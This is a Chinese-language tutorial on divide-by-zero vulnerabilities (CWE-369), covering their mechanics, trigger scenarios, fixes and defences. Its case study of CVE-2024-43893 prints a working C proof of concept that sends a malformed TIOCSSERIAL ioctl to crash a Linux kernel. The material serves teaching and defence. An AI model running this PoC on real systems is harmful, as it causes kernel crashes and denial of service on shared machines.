除零漏洞(Divide-By-Zero, CWE-369)是指程序在执行除法(/)或取模(%)运算时,未对除数进行非零合法性校验,导致除数为 0 并触发系统中断、运行时异常或逻辑失效的安全缺陷。即当除数为 0 时,将直接从 CPU 硬件层向上触发未捕获的计算异常,导致程序或服务非预期终止。
1. 漏洞原理与主要危害
当代码运行至除法逻辑且除数为 0 时,异常会在硬件、操作系统和应用层间逐层传递:
- CPU 硬件层:在 x86/x64 架构下,CPU 执行
DIV或IDIV汇编指令时,一旦检测出除数为 0,会立刻触发 0 号中断向量异常(#DE,Divide-Error Exception); - 操作系统层:CPU 的
#DE硬件中断会将控制权转交给内核的中断处理程序。内核捕获后,向引发异常的用户态进程发送算术异常信号(Linux 下为SIGFPE,Windows 下为EXCEPTION_INT_DIVIDE_BY_ZERO); - 应用程序层:若程序未注册信号处理函数或未建立捕获机制(如
try-catch),操作系统会直接强行终止(Terminate)该进程并生成崩溃报告;
除零错误的主要危害与影响范围:
- 拒绝服务(DoS):用户态进程(如 Web 后端、API 网关)遭遇未捕获的 SIGFPE 信号;
- 结果:服务进程瞬间崩溃退出,攻击者只需发送一次畸形请求即可打垮服务;
- 内核崩溃:漏洞发生在 Kernel 驱动、网络协议栈或文件系统组件中(如 CVE-2015-7543);
- 结果:触发操作系统蓝屏(BSOD)或 Kernel Panic,导致整机宕机或集群节点重启;
- 业务逻辑锁死:发生在区块链智能合约或分布式事务状态机中;
- 结果:触发全局交易 Revert(回滚),导致特定业务流程永久不可用或资产锁死;
- 逻辑绕过与越界:程序依靠 offset = total / count 的计算结果作为数组索引或内存偏移;
- 结果:若计算逻辑受到除零干扰或产生非预期默认值,可能衍生出越界读写或逻辑绕过;
2. 代码场景对比
存在漏洞的 C 代码:
int calculate_rate(int total_amount, int user_count) {
// 未校验 user_count,若外部传入 0 则触发 SIGFPE 导致进程崩溃
return total_amount / user_count;
}
修复后的 C 代码
int calculate_rate(int total_amount, int user_count, int *result) {
// 前置严格断言/检查除数
if (user_count <= 0) {
return -1; // 返回错误码,保护程序不崩溃
}
*result = total_amount / user_count;
return 0; // 执行成功
}
3. 常见触发场景
| 场景类型 | 典型逻辑表达式 | 触发条件 |
| 动态分页 | total_pages = total_records / page_size; | 攻击者传入 page_size=0 导致 Web 后端挂掉 |
| 权重与比例计算 | ratio = value / total_weight; | 初始状态或特定过滤条件下 total_weight 为 0 |
| 轮询/模运算 | index = counter % worker_count; | 配置初始化失败导致 worker_count=0 |
| 代币奖励分发 | reward = total_reward / active_users; | 当前活动用户数为 0 时引发合约交易回滚 |
4. 真实漏洞案例
真实环境中的除零漏洞(CWE-369)广泛存在于操作系统内核、网络协议栈以及媒体解析库中。攻击者通常通过构造畸形的外部输入(如将报文长度、图像分辨率、采样率等参数置 0),诱导目标程序在计算时执行除零操作,触发致命的中断或异常,造成服务强行终止与拒绝服务(DoS)。
漏洞触发的常见攻击链:
- 构造畸形数据包/文件:攻击者专门篡改文件头或网络协议报文(如 PCAP 报文、GIF/WAV 头部结构体),将用作分母的属性(如
width、channels、packet_count)硬编码为0; - 绕过基础校验:若目标程序仅检查了“数据是否为空”或“长度是否超限”,而忽略了“属性值非零”校验,畸形数据将顺理成章进入核心计算阶段;
- 硬件中断与进程被杀:当 CPU 执行到
DIV或IDIV汇编指令且除数为 0 时,触发#DE(Divide Error)硬件中断。程序若未捕获SIGFPE信号,操作系统将直接 terminate 该进程;
4.1 CVE-2024-43893漏洞案例
CVE-2024-43893 是 Linux 内核串口核心子系统(Serial Core Subsystem)中的一个中危除零漏洞(CWE-369)。本地低权限攻击者可以通过向串口设备发送特定的的ioctl 系统调用系统调用,直接触发内核崩溃(Kernel Panic),造成拒绝服务(DoS)。
该漏洞存在于 Linux 内核源码的 drivers/tty/serial/serial_core.c 文件中:
- API调用:应用程序在配置串口(如
serial8250驱动)时,可以调用ioctl(fd, TIOCSSERIAL, &serial_struct)来设置串口的底层参数; - 参数校验失效:攻击者向串口设备发送带有恶意非法
baud_base参数的TIOCSSERIAL命令(ioctl)时,在内核进行一系列复杂的时钟和波特率换算后,会导致变量uartclk(UART 时钟频率)被计算并赋值为0; - 程序初始化:接下来,内核或驱动后续的初始化/配置函数(例如
serial8250_set_termios或uart_startup)会被调用; - 未防护的除法运算:当系统随后调用
uart_get_divisor()函数计算波特率分频系数时,直接利用了归零的uartclk进行除法计算,即uartclk被用作了除数(分母); - 触发内核 Panic:由于计算发生在内核态,CPU 硬件层检测到除数为 0 时产生
#DE异常,抛出Oops: divide error: 0000错误,导致内核直接崩溃退出;
攻击链与影响范围:
- 攻击门槛低:攻击者仅需具备本地普通用户权限(
PR:L)且能够对串口设备执行ioctl命令,无需任何用户交互即可触发; - 服务瘫痪:漏洞无法通过用户态的常规异常捕获机制兜底,一旦触发便能瞬间打垮整个操作系统(DoS),影响多用户的物理机或云服务器实例;
由于这是一个本地拒绝服务漏洞,Exploit 的核心思想就是:打开一个串口设备(如 /dev/ttyS0),构造恶意的 serial_struct 数据,然后通过 ioctl 传给内核,该漏洞利用的 C 语言概念验证代码(PoC)如下:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
int main() {
// 1. 打开一个目标串口设备(通常需要对该设备文件有读写权限)
int fd = open("/dev/ttyS0", O_RDWR | O_NONBLOCK);
if (fd < 0) {
perror("[-] 无法打开串口设备(可能需要 root 权限或加入 dialout 组)");
return -1;
}
printf("[+] 成功打开串口设备...\n");
struct serial_struct ser_info;
// 2. 首先获取当前串口的配置信息
if (ioctl(fd, TIOCGSERIAL, &ser_info) < 0) {
perror("[-] 获取串口信息失败 (TIOCGSERIAL)");
close(fd);
return -1;
}
// 3. 【核心注入点】精心构造恶意的参数,强行让内核计算出 uartclk == 0
// 根据具体内核版本和计算公式,传入特定异常的 baud_base 或自定义除数
ser_info.baud_base = 0; // 诱导时钟计算归零
ser_info.flags |= ASYNC_SPD_CUST; // 使用自定义除数标记
ser_info.custom_divisor = 0;
printf("[+] 正在发送恶意 ioctl 命令触发除零...\n");
// 4. 发送恶意配置。当内核后续调用 uart_get_divisor() 时系统会瞬间崩溃
if (ioctl(fd, TIOCSSERIAL, &ser_info) < 0) {
perror("[-] 触发失败或权限不足");
}
// 如果漏洞触发成功,程序通常根本运行不到这一步,系统已经 Crash(死机)
close(fd);
return 0;
}
Linux 内核官方通过在 uart_set_info() 函数中提前进行零值校验修复了该漏洞,修复补丁核心对比:
static int uart_set_info(struct tty_struct *tty, struct uart_state *state,
struct serial_struct *new_info)
{
+ /* 修复方案:在修改任何其他设置之前,先前置校验 uartclk 是否为 0 */
+ if (new_info->baud_base == 0) {
+ return -EINVAL; // 直接返回非法参数错误,拒绝执行
+ }
+
// ... 后续才会去设置参数并引发 uart_get_divisor() 的调用 ...
}
注意:官方强调这个检查必须放在 uart_set_info() 的最开始,因为如果检查放得太靠后,即使本次拒绝了,uartclk 也可能已经被污染成了 0,导致用户下一次再调用 TIOCSSERIAL 时依然会引发崩溃。
5. 漏洞防御与修复
预防除零漏洞的核心原则是“先校验,后计算”。
5.1 严格的输入与边界检查
在任何除法和取模操作前,必须显式判断除数是否为零:
// 错误示例:若 width 为 0,程序立即崩溃
int scale = total_pixels / width;
// 正确示例:先校验,后计算
if (width == 0) {
// 处理异常逻辑,如报错或赋予默认值
return ERROR_INVALID_INPUT;
}
int scale = total_pixels / width;
5.2 安全的封装函数
在频繁进行数学运算的系统中,建议封装统一的安全计算工具函数:
int safe_divide(int numerator, int denominator, int default_value) {
return (denominator == 0) ? default_value : (numerator / denominator);
}
5.3 自动化检测
开启静态代码分析(SAST)和模糊测试(Fuzzing)等功能:
- 静态代码分析(SAST):在代码编译部署前,使用 CodeQL、SonarQube 或 Coverity 等静态分析工具,追踪外部可控参数到除法/模运算符的数据流路径;
- 模糊测试(Fuzzing):使用AFL++ 或 libFuzzer等模糊测试工具向程序输入大量的极端、畸形和边缘数据(如 0, -1, null),以排查潜在的运行时崩溃点;
- 防御性编程原则:
- 前置断言:在所有除法与取模运算前,显式判断
divisor != 0; - 使用安全接口:在 Rust 等语言中使用
checked_divAPI;Solidity 0.8.0 及以上版本开启内置溢出与除零防护; - 全局异常处理:配置全局信号捕获(如 C/C++ 的
signal(SIGFPE, handler)或高级语言的try-catch),避免单点失败引发全盘崩溃;
- 前置断言:在所有除法与取模运算前,显式判断
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。